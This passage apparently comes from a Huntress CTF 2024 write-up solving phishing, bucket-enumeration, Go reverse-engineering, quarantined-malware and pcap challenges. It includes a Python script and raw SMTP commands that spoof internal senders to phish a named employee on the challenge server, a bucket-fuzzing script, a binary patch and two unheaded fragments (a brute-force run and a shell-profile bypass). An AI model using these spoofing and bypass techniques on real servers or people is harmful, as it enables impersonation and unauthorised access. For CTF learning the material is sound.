    return ''.join(decoded_strings)  # Combine all the decoded strings into one

# The input array
input_array = ["102.108.97.103", "123.54.100.49", "98.54.48.52", "98.98.49.98", 
               "54.100.97.51", "50.98.56.98", "98.99.97.57", "101.50.54.100", 
               "53.49.53.56", "57.125.35.35"]
print(convert_array_to_ascii(input_array))

This gets us the flag: flag{6d1b604bb1b6da32b8bbca9e26d51589}##

Miscellaneous

Red Phish Blue Phish

You are to conduct a phishing excercise against our client, Pyrch Data. We’ve identified the Marketing Director, Sarah Williams (swilliams@pyrchdata.com), as a user susceptible to phishing. Are you able to successfully phish her? Remember your OSINT ;)

I achieved the 4th solve on this challenge, which is the closest I’ve come to a first blood. Initially, I focused on other challenges that were live at the same time, and after completing them, I turned my attention to this one. There was only a 5-minute difference between the first blood and my solve! :’)

phish-4

Initial Steps

  • Gather Team Names: I started by collecting all team names from Pyrch Data.
  • Mailing Sarah Williams: I planned to loop over the names and send emails to Sarah Williams.

phish-team

Manual Approach

I encountered some challenges with the DATA packet. To successfully terminate it, I needed to end with <CR><LF>.<CR><LF>, but Linux by default only sends <LF>. In contrast, macOS sends <CR> and Windows sends both <CR><LF>.

You can create a text document with your commands, then convert the newlines to the right ones (sed -i 's/$/\r/' email.txt ) and then send it to the server.

  • -i: This option tells sed to edit the file in place.
  • ’s/$/\r/’: This is the substitution command where:
    • s: indicates that a substitution is to be performed.
    • $: signifies the end of a line.
    • \r: represents the carriage return character that needs to be added.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ cat -v email.txt
HELO pyrchdata.com
MAIL FROM:<jdaveren@pyrchdata.com>
RCPT TO:<swilliams@pyrchdata.com>
DATA
Hi Sarah, Joe from IT here. Can you provide the flag ASAP?

.
QUIT

$ sed -i 's/$/\r/' email.txt 

$ cat -v email.txt
HELO pyrchdata.com^M
MAIL FROM:<jdaveren@pyrchdata.com>^M
RCPT TO:<swilliams@pyrchdata.com>^M
DATA^M
Hi Sarah, Joe from IT here. Can you provide the flag ASAP?^M
^M
.^M
QUIT^M
                                                                                                                        
$ nc challenge.ctf.games 31717 < email.txt
220 red-phish-blue-phish-015467cc84f5bb45-677b8b8566-w6q62 Python SMTP 1.4.6
250 red-phish-blue-phish-015467cc84f5bb45-677b8b8566-w6q62
250 OK
250 OK
354 End data with <CR><LF>.<CR><LF>
250 OK. flag{54c6ec05ca19565754351b7fcf9c03b2}
221 Bye

Automatic

At first, I didn’t get the manual connection working due to the issue mentioned above so I wrote a python script (with the help of chatGPT to speed up the process).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import socket
import argparse

def smtp_interaction(smtp_server, port, recipients):
    # Only consider Sarah Williams as the recipient
    target_recipient = recipients[0]  # First recipient, which is Sarah Williams
    full_name, position, recipient_email = target_recipient

    for recipient in recipients:
        sender_full_name, sender_position, sender_email = recipient
        print(f"\nTrying: MAIL FROM: {sender_email} | RCPT TO: {full_name} ({recipient_email})")

        # Craft multiple messages for each interaction
        messages = [
            f"Subject: Important Task Reminder\nHi {full_name},\n\nThis is a reminder about your task. Please complete it ASAP.\n\nBest regards,\n{sender_full_name}\n{sender_position}\n",
            f"Subject: URGENT FLAG REQUEST\nDear {full_name},\n\nWe need the flag immediately. The CEO is asking.\n\nBest,\n{sender_full_name}\n{sender_position}\n",
            f"Subject: Follow-up on the Flag\nHi {full_name},\n\nFollowing up on our previous email, please provide the flag soon.\n\nSincerely,\n{sender_full_name}\n{sender_position}\n"
        ]

        # Establish a socket connection
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
            try:
                sock.connect((smtp_server, port))
                response = sock.recv(1024).decode()  # Receive initial server response
                print(f"Server Response: {response}")

                for message in messages:
                    # Send SMTP commands
                    sock.sendall(f"HELO pyrchdata.com\r\n".encode())
                    response = sock.recv(1024).decode()
                    print(f"Server Response: {response}")

                    sock.sendall(f"MAIL FROM:<{sender_email}>\r\n".encode())
                    response = sock.recv(1024).decode()
                    print(f"Server Response: {response}")

                    sock.sendall(f"RCPT TO:<{recipient_email}>\r\n".encode())
                    response = sock.recv(1024).decode()
                    print(f"Server Response: {response}")

                    sock.sendall(b"DATA\r\n")
                    response = sock.recv(1024).decode()
                    print(f"Server Response: {response}")

                    sock.sendall(f"{message}\r\n.\r\n".encode())
                    response = sock.recv(1024).decode()
                    print(f"Server Response: {response}")

                sock.sendall(b"QUIT\r\n")
                response = sock.recv(1024).decode()
                print(f"Server Response: {response}")

            except Exception as e:
                print(f"Failed to communicate with the SMTP server: {e}")

if __name__ == "__main__":
    # Setting up argument parsing
    parser = argparse.ArgumentParser(description='Send emails via SMTP server.')
    parser.add_argument('smtp_server', type=str, help='The SMTP server address')
    parser.add_argument('port', type=int, help='The SMTP server port number')

    args = parser.parse_args()
    smtp_server = args.smtp_server
    port = args.port

    # List of recipients (full name, position, email) to try
    recipients = [
        ("Sarah Williams", "Head of Marketing", "swilliams@pyrchdata.com"),
        ("Emily Smith", "Chief Technology Officer", "esmith@pyrchdata.com"),
        ("Michael Lee", "Chief Operations Officer", "mlee@pyrchdata.com"),
        ("David Kim", "Lead Data Scientist", "dkim@pyrchdata.com"),
        ("Laura Chen", "Blockchain Specialist", "lchen@pyrchdata.com"),
        ("Joe Daveren", "IT Security Manager", "jdaveren@pyrchdata.com"),
        ("Natalie Rodriguez", "Cloud Infrastructure Lead", "nrodriguez@pyrchdata.com")
    ]

    # Start the SMTP interaction
    smtp_interaction(smtp_server, port, recipients)

When we got to the “IT Security Manager” jdaveren@pyrchdata.com, we got a hit.

1
2
3
4
5
Trying: MAIL FROM: jdaveren@pyrchdata.com | RCPT TO: Sarah Williams (swilliams@pyrchdata.com)
Server Response: 220 red-phish-blue-phish-rrpgd Python SMTP 1.4.6
Server Response: 250 OK
Server Response: 354 End data with <CR><LF>.<CR><LF>
Server Response: 250 OK. flag{54c6ec05ca19565754351b7fcf9c03b2}

Malibu

What do you bring to the beach?

NOTE: There are two things to note for this challenge.

This service takes a bit more time to start. If you see a Connection refused, please wait a bit more. This service will not immediately respond or prompt you… it is waiting for your input. If you just hit Enter, you will see what it is.

Extra tip, once you know what the service is, try connecting in a better way. Then use some of the context clues and critical thinking based off its response and the challenge description. You don’t need any > bruteforcing once you understand the infrastructure and enumerate. ;)

We are given the command to connect to a service via: nc challenge.ctf.games PORT.

After hitting enter we see:

1
2
3
4
5
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request   

However, by making a random HTTP request (GET /malibu/beach), we observed a 403 Forbidden response and noticed the server was running MinIO, an object storage service compatible with AWS S3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GET /malibu/beach HTTP/1.1
Host: challenge.ctf.games
Connection: close

HTTP/1.1 403 Forbidden
Accept-Ranges: bytes
Content-Length: 313
Content-Type: application/xml
Server: MinIO
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
Vary: Accept-Encoding
X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
X-Amz-Request-Id: 17FB5705368E460E
X-Content-Type-Options: nosniff
X-Ratelimit-Limit: 59
X-Ratelimit-Remaining: 59
X-Xss-Protection: 1; mode=block
Date: Fri, 04 Oct 2024 19:36:02 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied.</Message><Key>beach</Key><BucketName>malibu</BucketName><Resource>/malibu/beach</Resource><RequestId>17FB5705368E460E</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>

We decided to enumerate potential endpoints using a wordlist related to the beach theme and try to enumerate the endpoints (in reality this list was longer).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ echo -e "sunscreen\nbucket\ntowel\numbrella\nhat\nflipflops\nsunglasses\nsandcastle\ncooler\nchair" > wordlist.txt
$ cat fuzzscript.sh  
#!/bin/bash

# Define the endpoint base URL
base_url="http://challenge.ctf.games:30242"

# Loop through the wordlist and make a request for each word
while read -r word; do
    echo "Trying: $base_url/$word"
    response=$(curl -s "$base_url/$word")
    
    # Check if the response contains 'AccessDenied' or if it's a valid response
    if [[ $response == *"AccessDenied"* ]]; then
        echo "Access denied for: $word"
    elif [[ $response != "" ]]; then
        echo "Response for $word:"
        echo "$response"
    else
        echo "No response for: $word"
    fi

done < wordlist.txt

We found a hit with the /bucket endpoint, which returned an XML listing of objects.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ./fuzzscript.sh  
Trying: http://challenge.ctf.games:30242/sunscreen
Access denied for: sunscreen
Trying: http://challenge.ctf.games:30242/bucket
Response for bucket:
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>bucket</Name><Prefix></Prefix><Marker></Marker><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated><Contents><Key>0iXYbk3E/Y6miBoacngqJePIT</Key><LastModified>2024-10-06T17:30:12.798Z</LastModified><ETag>&#34;142279059051ce10ef0c53297f099cc1&#34;</ETag><Size>1147</Size><Owner><ID>02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4</ID><DisplayName>minio</DisplayName></Owner><StorageClass>STANDARD</StorageClass></Contents>
...
...
...
<Contents><Key>zImcR6vP/gRMxV1ZC/stFELsLw/AXZ59Cq4/XJTI6IXO0TUUiqXb</Key><LastModified>2024-10-06T17:30:33.296Z</LastModified><ETag>&#34;90c43fb636280252086781d15015361c&#34;</ETag><Size>3054</Size><Owner><ID>02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4</ID><DisplayName>minio</DisplayName></Owner><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>zuYDyk96qv3fXZnM</Key><LastModified>2024-10-06T17:30:39.998Z</LastModified><ETag>&#34;7c9c3556c5f911d02d557bb5224784a2&#34;</ETag><Size>1501</Size><Owner><ID>02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4</ID><DisplayName>minio</DisplayName></Owner><StorageClass>STANDARD</StorageClass></Contents></ListBucketResult>
Trying: http://challenge.ctf.games:30242/towel
Access denied for: towel
Trying: http://challenge.ctf.games:30242/umbrella
Access denied for: umbrella
Trying: http://challenge.ctf.games:30242/hat
Access denied for: hat
Trying: http://challenge.ctf.games:30242/flipflops
Access denied for: flipflops
Trying: http://challenge.ctf.games:30242/sunglasses
Access denied for: sunglasses
Trying: http://challenge.ctf.games:30242/sandcastle
Access denied for: sandcastle
Trying: http://challenge.ctf.games:30242/cooler
Access denied for: cooler
Trying: http://challenge.ctf.games:30242/chair
Access denied for: chair

We set up the MinIO client and try to copy the bucket contents locally:

1
2
3
4
5
6
7
8
9
10
11
$ wget https://dl.min.io/client/mc/release/linux-amd64/mc                                                                                                             
$ sudo mv mc /usr/local/bin/                                                                                                                                                                             
$ chmod +x /usr/local/bin/mc                                                                                                                                                            
$ mc alias set myminio http://challenge.ctf.games:31142     

Enter Access Key: 
Enter Secret Key: 
Added `myminio` successfully.
                                                                                                                        
$ mc cp --recursive myminio/bucket bucket
.../AflCHJJDqzEDBWyI: 203.53 KiB / 203.53 KiB

We can now try to search for the “flag” keyword in the files.

1
2
$ grep -ir "flag" bucket
bucket/bucket/gF3VuwCu/AuZpaZFr/77Cijdg5/X8eVFgvX/z1nv9fnlCKH1bJB5:jJ4r5FQeRaoBST4CFjvCLOV8Ndr1uIqFMBXfQbxlMRWFdROw6Q9hVuljSsIcjDXAaCQ6zlEw8izVeJmcYqYpbMBUbC40ZiJAzQGTDb96mAi52ERPf5HPItKjBCgrMb7ZzM5GFnjlAZ1u002XZx2yOOXjdsqq01CZeWOoEWvyG55aknNUB8CRp1WO8sKCNqWeYHeDIcnXGvYBhVjX5KyY6bAFQA7wI62A6REzEfAezbHrQEMqnAgQQtkN8EWWpAMYXvHgblCWOpGj7lDWwaLqUqMWf1uLOYe2Vh90oqV07GLUMMuWVB12WQXKDg5WC2F4FoEuBfMMFQEuZ6A67JSnGjYEBOPgklgDwbXfG6c48Fmg3WFXrc7JHQpvBE6qUjIYquBAvPjvsg16CbpbyzdgstoJAL3fEE65ndgqDQ09ZdL2Jattcfy1ISJG1r1XMmn9ILllHtXSee468nrUPr6oGivHLEP6rkhzBcTlXW1Kvnbw8PeCJTlUsLtFSKG9ifSu4qaoZ74aJodJj2Hc1gij2YxpNFF99xvaSwWM9Q7Hu55HjLVp1IH1iCGNweETJvDcZg319USWuh8OTut7eNCWU43QMQtBk58nuznmN9OtxW74rUl27AzHH1jxOkZmcpNOee3ZpNJzAqpU9yvXrUyPiyP3CuF4xjsx8lRUMNxjMDF3ZpjvBBiDeOfPQxzlxXuwH6gceJKMUp1xBIr8ZMi48AMmdWGArXOvvszGhgEPBoKYqMbzRy4goNQSReHL2f6lpqm01WbuE04BhCa6ThRGrzyDS2cfPBfutD9gDdwordgk0Owfn6Ep18TMkkjq2QuFeFwZUnfuCBe3KVuIzIYW4fHOUitXucOEpXxbPbJBt8JEW7kqX3FoC6wCi3NwVrYEmdflag{800e6603e86fe0a68875d3335e0daf81}BDFNcdcMi6hGsrurLsXbgpkz4SyehdZySWLeWVjUOpNgeTGSNmjg1SvybQSVJwgn8p3Lf4mulZlLPmQH7sOirtPyjwWxPR4K0nEiLyQsX1L8gsvGZLv2N97mEjzWbZXoTtAU6via0t7khacOYUGh4OnTFS4868o2WQQj4HprN7j4mDs818xPOWTTAegDaDWsM0obXSJMgPSpOuKcOjfmsIVaOzstcUHPJvkLxvPmQhV0OvtiyLhDuZlddMUjdfoa5jt8CxcLdr304292gCEEaMfqKxa69bJKcJ8m0efbSl01VsjlNhxaaLXL7xICeLjm39PNNuFoGQsNkIZyozEk1i8MqFGUl6mI1WrK4UQs5U79CYI738aNIAjGmZK8FWZWZXC9sSP9j9jleH01OE1zrNDSeUeaiVpnMD4Qj7hQ5sKSZ7XAgfTsONeDaUwNsr7lBqjkGsbz8gvHr2gcjQOqYunb7G083iiWyVVLnqtM6RPW7BzoQR2PA6glXtdg7KvhBmQPerE5XCXf0ryXUV0igyEahGEot3yNdE1dQoqaN80bwoQ54sTgYP4kMWbGPipgvUgV9tQDl9NV1q5zTHqikR6UyGS3lU9dDERGCassPbuUzx8jC1pBWXguZW1ZROMI19EjJPGNyleg393j3OfbN3Z2483AjZ53Om6BwzbojPVAkZPFthk9DVGntp9fhfObmv77r2CX733QeSYxEELFFkHXSvxfoMRckJlyr035oYcnl0UhVBeIcuCUmFp4wYwpso1fPfJkC9p5QSHpU2tbhK86z9A9EHs8Q7Oq2PGSEA32YD6xStEE69308I6B0PxrlbIuJ9k5qvGiqALZK94T6hUElFMKrhpqyOq2zGMIJsHZKRJRoMS6tljKvgCOlDzaxkpM3Ju7qiX3f2Rb8pZdcAgeUtJ8wZqPvQyv3q2VtuEXpOoX6vh2hmKfRNVABVwlS7gzgYMZfvARGsfZsI2GY6f97jd79T15y4Yb56rkJyxsWGLwWgW5aYuYKqSRqBJwavt4BKCf4UlAIF10i5VNklwVfrvaTYDrNGPmkyLDilT4MYmxyDsIrYn

We found the flag: flag{800e6603e86fe0a68875d3335e0daf81}.

OSINT

Ran Somwhere

Thanks for joining the help desk! Here’s your first ticket of the day; can you help the client out?

We get an eml file, which we open with a random online eml viewer. Inside the mail there is a text file and some other files.

The text file states:

Hey There! You should be more careful next time and not leave your computer unlocked and unattended! You never know what might happen. Well in this case, you lost your flash drive. Don’t worry, I will keep it safe and sound. Actually you could say it is now ‘fortified’. You can come retrieve it, but you got to find it. I left a couple of files that should help.- Vigil Ante

There is also a link to a website, that doesn’t contain much interesting information except for the mention of “Maryland”.

ran-somewhere-web

Looking at those two extra files, we can tell they are photos so we add a jpg extension.

ran-somewhere-photo1

ran-somewhere-photo2

  • On photo 1, we see the back of a special architectural building which has a bit of castle vibe.
  • On photo 2, there is a part of a marker that we can see.
  1. We started by searching “castle frederick park.” This led us to “The City of Frederick Parks and Recreation,” which featured a building style similar to photo 1, although the color looked off but it is located in Maryland.
  2. We noticed that the building had “Maryland National Guard” signage on it.
  3. Next, we searched for “Maryland National Guard Frederick Park” and found the Frederick Armory on Wikipedia.
  4. Searching for “Frederick Armory maps” helped us locate the exact marker from the original photo. We discovered it on the Historical Marker Database.

ran-somewhere-marker

We need to put in “Frederick Armory” as the flag.

Reverse Engineering

GoCrackMe1

TENNNNNN-HUT! Welcome to the Go Dojo, gophers in training!

Go malware is on the rise. So we need you to sharpen up those Go reverse engineering skills. We’ve written three simple CrackMe programs in Go to turn you into Go-binary reverse engineering ninjas!

First up is the easiest of the three. Go get em!

We get a go binary, we took these steps to get the flag:

  1. use gdb to load the binary, and you can then inspect various aspects of the program, such as its functions and memory layout.
  2. Listing Functions: By running info functions, you can list all the defined functions within the program. Some of the key functions in this binary include main.main and main.checkCondition, which seem to be important for the challenge.
  3. Setting Breakpoints: Next, you set a breakpoint in the main.main function, which is a common entry point in Go programs. This allows you to pause the execution and inspect what’s happening inside.
  4. Running the Program: After setting the breakpoint, you can run the program using run. This will start execution, and the program will pause once it hits the breakpoint. At this point, you can inspect the program’s state.
  5. Disassembling the Function: Disassembling the main.main function reveals the assembly code. The key part of the disassembled code shows an interesting segment of memory where some values are being moved. (=> shows the break)
  6. Patching the Code: By analyzing the function, you notice that after checking a condition, the program jumps over important code if the condition fails. To bypass this, you modify the jump instruction to NOP (no operation), effectively patching the binary: set {char}0x4836cf = 0x90
  7. Continuing Execution: With the patched instruction, you continue the execution using continue.

Full code run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
$ gdb GoCrackMe1
(gdb) info functions
All defined functions:

File /app/src/GoCrackMe1/GoCrackMe1.go:
        void main.checkCondition(bool);
        void main.main(void);

File /usr/local/go/src/errors/errors.go:
        void errors.(*errorString).Error;

File /usr/local/go/src/errors/wrap.go:
        void errors.init(void);

File /usr/local/go/src/fmt/format.go:
        void fmt.(*fmt).fmtBoolean;
        void fmt.(*fmt).fmtBs;
        void fmt.(*fmt).fmtC;
        void fmt.(*fmt).fmtFloat;
        void fmt.(*fmt).fmtInteger;
        void fmt.(*fmt).fmtQ;
        void fmt.(*fmt).fmtQc;
        void fmt.(*fmt).fmtS;
        void fmt.(*fmt).fmtSbx;
        void fmt.(*fmt).fmtUnicode;
        void fmt.(*fmt).pad;
        void fmt.(*fmt).padString;
        void fmt.(*fmt).truncate;
        void fmt.(*fmt).writePadding;

File /usr/local/go/src/fmt/print.go:
        void fmt.(*pp).Write;
        void fmt.(*pp).badVerb;
--Type <RET> for more, q to quit, c to continue without paging--q
Quit
(gdb) break main.main
Breakpoint 1 at 0x48360f: file /app/src/GoCrackMe1/GoCrackMe1.go, line 22.
(gdb) continue
The program is not being run.
(gdb) run
Starting program: /media/sf_Shared/huntress-ctf-2024/GoCrackMe1 
[New LWP 626297]
[New LWP 626298]
[New LWP 626300]
[New LWP 626299]

Thread 1 "GoCrackMe1" hit Breakpoint 1, main.main () at /app/src/GoCrackMe1/GoCrackMe1.go:22
warning: 22     /app/src/GoCrackMe1/GoCrackMe1.go: No such file or directory
(gdb) disassemble
Dump of assembler code for function main.main:
   0x0000000000483600 <+0>:     lea    -0x8(%rsp),%r12
   0x0000000000483605 <+5>:     cmp    0x10(%r14),%r12
   0x0000000000483609 <+9>:     jbe    0x483767 <main.main+359>
=> 0x000000000048360f <+15>:    sub    $0x88,%rsp
   0x0000000000483616 <+22>:    mov    %rbp,0x80(%rsp)
   0x000000000048361e <+30>:    lea    0x80(%rsp),%rbp
   0x0000000000483626 <+38>:    movups %xmm15,0x32(%rsp)
   0x000000000048362c <+44>:    movups %xmm15,0x38(%rsp)
   0x0000000000483632 <+50>:    movups %xmm15,0x48(%rsp)
   0x0000000000483638 <+56>:    movabs $0x6334342d31373a30,%rdx
   0x0000000000483642 <+66>:    mov    %rdx,0x32(%rsp)
   0x0000000000483647 <+71>:    movabs $0x306764336060636f,%rdx
   0x0000000000483651 <+81>:    mov    %rdx,0x3a(%rsp)
   0x0000000000483656 <+86>:    movabs $0x32666e6063336363,%rdx
   0x0000000000483660 <+96>:    mov    %rdx,0x42(%rsp)
   0x0000000000483665 <+101>:   movabs $0x34343265306f6e63,%rdx
   0x000000000048366f <+111>:   mov    %rdx,0x4a(%rsp)
   0x0000000000483674 <+116>:   movl   $0x30663533,0x52(%rsp)
   0x000000000048367c <+124>:   movw   $0x2b6e,0x56(%rsp)
   0x0000000000483683 <+131>:   lea    0x8396(%rip),%rax        # 0x48ba20
   0x000000000048368a <+138>:   mov    $0x26,%ebx
   0x000000000048368f <+143>:   mov    %rbx,%rcx
   0x0000000000483692 <+146>:   call   0x446a80 <runtime.makeslice>
   0x0000000000483697 <+151>:   xor    %ecx,%ecx
   0x0000000000483699 <+153>:   jmp    0x4836a9 <main.main+169>
   0x000000000048369b <+155>:   movzbl 0x32(%rsp,%rcx,1),%edx
   0x00000000004836a0 <+160>:   xor    $0x56,%edx
   0x00000000004836a3 <+163>:   mov    %dl,(%rax,%rcx,1)
   0x00000000004836a6 <+166>:   inc    %rcx
   0x00000000004836a9 <+169>:   cmp    $0x26,%rcx
--Type <RET> for more, q to quit, c to continue without paging--
   0x00000000004836ad <+173>:   jl     0x48369b <main.main+155>
   0x00000000004836af <+175>:   mov    %rax,%rbx
   0x00000000004836b2 <+178>:   mov    $0x26,%ecx
   0x00000000004836b7 <+183>:   xor    %eax,%eax
   0x00000000004836b9 <+185>:   call   0x44ac60 <runtime.slicebytetostring>
   0x00000000004836be <+190>:   mov    %rax,0x58(%rsp)
   0x00000000004836c3 <+195>:   mov    %rbx,0x28(%rsp)
   0x00000000004836c8 <+200>:   call   0x483500 <main.checkCondition>
   0x00000000004836cd <+205>:   test   %al,%al
   0x00000000004836cf <+207>:   je     0x483719 <main.main+281>
   0x00000000004836d1 <+209>:   movups %xmm15,0x70(%rsp)
   0x00000000004836d7 <+215>:   mov    0x58(%rsp),%rax
   0x00000000004836dc <+220>:   mov    0x28(%rsp),%rbx
   0x00000000004836e1 <+225>:   call   0x409c40 <runtime.convTstring>
   0x00000000004836e6 <+230>:   lea    0x81f3(%rip),%rcx        # 0x48b8e0
   0x00000000004836ed <+237>:   mov    %rcx,0x70(%rsp)
   0x00000000004836f2 <+242>:   mov    %rax,0x78(%rsp)
   0x00000000004836f7 <+247>:   mov    0xafc02(%rip),%rbx        # 0x533300 <os.Stdout>
   0x00000000004836fe <+254>:   lea    0x37b93(%rip),%rax        # 0x4bb298 <go:itab.*os.File,io.Writer>
   0x0000000000483705 <+261>:   lea    0x70(%rsp),%rcx
   0x000000000048370a <+266>:   mov    $0x1,%edi
   0x000000000048370f <+271>:   mov    %rdi,%rsi
   0x0000000000483712 <+274>:   call   0x47cdc0 <fmt.Fprintln>
   0x0000000000483717 <+279>:   jmp    0x483757 <main.main+343>
   0x0000000000483719 <+281>:   movups %xmm15,0x60(%rsp)
   0x000000000048371f <+287>:   lea    0x81ba(%rip),%rdx        # 0x48b8e0
   0x0000000000483726 <+294>:   mov    %rdx,0x60(%rsp)
   0x000000000048372b <+299>:   lea    0x37686(%rip),%rdx        # 0x4badb8
   0x0000000000483732 <+306>:   mov    %rdx,0x68(%rsp)
   0x0000000000483737 <+311>:   mov    0xafbc2(%rip),%rbx        # 0x533300 <os.Stdout>
   0x000000000048373e <+318>:   lea    0x37b53(%rip),%rax        # 0x4bb298 <go:itab.*os.File,io.Writer>
--Type <RET> for more, q to quit, c to continue without paging--
   0x0000000000483745 <+325>:   lea    0x60(%rsp),%rcx
   0x000000000048374a <+330>:   mov    $0x1,%edi
   0x000000000048374f <+335>:   mov    %rdi,%rsi
   0x0000000000483752 <+338>:   call   0x47cdc0 <fmt.Fprintln>
   0x0000000000483757 <+343>:   mov    0x80(%rsp),%rbp
   0x000000000048375f <+351>:   add    $0x88,%rsp
   0x0000000000483766 <+358>:   ret
   0x0000000000483767 <+359>:   call   0x45c340 <runtime.morestack_noctxt>
   0x000000000048376c <+364>:   jmp    0x483600 <main.main>
End of assembler dump.
(gdb) set {char}0x4836cf = 0x90
(gdb) continue
Continuing.
flag{bb59566e21f55e5680d589f3dbbec0f8}

python .\bf2.py Enter the target URL (use {input} in place of the value to test): http://challenge.ctf.games:32623/enter={input} Enter number of threads: 15 Enter the maximum length of the input: 9 dfdadd - 30478/46656 Correct input found: bfdaec Response: Correct! Here is your flag: flag{dc9edf4624504202eec5d3fab10bbccd}

PS C:\Users\Gillis> ssh -p 32062 user@challenge.ctf.games –norc –noprofile^C PS C:\Users\Gillis> ssh -p 32062 user@challenge.ctf.games “bash –noprofile –norc” user@challenge.ctf.games’s password: ls flag.txt cat flag.txt flag{36a0354fbf59df454596660742bf09eb}

X-Ray

The SOC detected malware on a host, but antivirus already quarantined it… can you still make sense of what it does?

There is a tool (DeXRAY) that can decrypt quarantined files.

1
2
3
4
PS C:\Users\flare\Downloads> perl "C:\Users\flare\Desktop\Tools\Utilities\DeXRAY.pl" x-ray
Processing file: 'x-ray'
 -> 'x-ray.00000184_Defender.out' - Defender File
 -> ofs='184' (000000B8)

We get an “.out” file, when we analyse it it seems to be a DLL.

1
2
PS C:\Users\flare\Downloads> file .\x-ray.00000184_Defender.out
.\x-ray.00000184_Defender.out: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

We open the out file in dnSpy to get the source code. There are two functions being used in main: otp and load. This program converts two hex values to bytes and then performs and XOR to get the final value. We have both values so we can calculate the final value.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
		private static byte[] otp(byte[] data, byte[] key)
		{
			byte[] array = new byte[data.Length];
			for (int i = 0; i < data.Length; i++)
			{
				array[i] = data[i] ^ key[i % key.Length];
			}
			return array;
		}

		// Token: 0x0600002C RID: 44 RVA: 0x000032D8 File Offset: 0x000014D8
		private static byte[] load(string hex)
		{
			int length = hex.Length;
			byte[] array = new byte[length / 2];
			for (int i = 0; i < length; i += 2)
			{
				array[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
			}
			return array;
		}

		// Token: 0x0600002D RID: 45 RVA: 0x00003318 File Offset: 0x00001518
		public static void Main(string[] args)
		{
			new StageTwo().main("", new StreamReader(Console.OpenStandardInput()));
			byte[] array = StageTwo.load("15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c");
			byte[] array2 = StageTwo.load("73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41");
			byte[] array3 = StageTwo.otp(array, array2);
			Encoding.UTF8.GetString(array3);
		}

We create a script that does it for us.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import binascii

# Function to perform XOR between two byte arrays
def otp(data, key):
    result = bytearray(len(data))
    for i in range(len(data)):
        result[i] = data[i] ^ key[i % len(key)]
    return result

# Function to convert a hex string to a byte array
def load(hex_str):
    return bytearray(binascii.unhexlify(hex_str))

hex_data = "15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c"
hex_key = "73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41"


array_data = load(hex_data)
array_key = load(hex_key)

# Performing the XOR operation (OTP)
result = otp(array_data, array_key)

print(result.decode('utf-8'))

When we run the python script, we get the flag:

1
2
PS C:\Users\Gillis\Downloads> python .\xray.py
flag{df26090565cb329fdc8357080700b621}

Scripting

Echo chamber

Is anyone there? Is anyone there? I’m sending myself the flag! I’m sending myself the flag!

We get a pcap that we need to analyse, we analyze the .pcap file and extract the hidden flag from the ICMP packets.

  1. Extract ICMP Data: Use tshark to filter ICMP packets and retrieve the data field. This command extracts only the first two characters of each line (in hex) and converts them to ASCII:

    1
    
     tshark -r echo_chamber.pcap -Y "icmp" -T fields -e data | cut -c1-2 | xxd -r -p > extracted_ascii.txt
    
    • Y "icmp": Filters the capture to include only ICMP packets.
    • T fields -e data: Extracts the data field from each ICMP packet.
    • cut -c1-2: Keeps only the first two characters from each hex-encoded line.
    • xxd -r -p: Converts the hex values to ASCII, saving the result in extracted_ascii.txt.
  2. Decode and Clean Up: The output in extracted_ascii.txt contains the flag but it has duplicate characters that we need to clean up to get the flag. OOxx..ttEEXXttccaappttiioonnffllaagg{{66bb3388aaaa991177aa775544dd88bbff338844ddcc7733ffddee663333aadd}}ssDD��ttEEXXttccaappttiioonn::lliinneess11��==��IIEENNDD��BB��

Web

HelpfulDesk

HelpfulDesk is the go-to solution for small and medium businesses who need remote monitoring and management. Last night, HelpfulDesk released a security bulletin urging everyone to patch to the latest patch level. They were scarce on the details, but I bet that can’t be good…

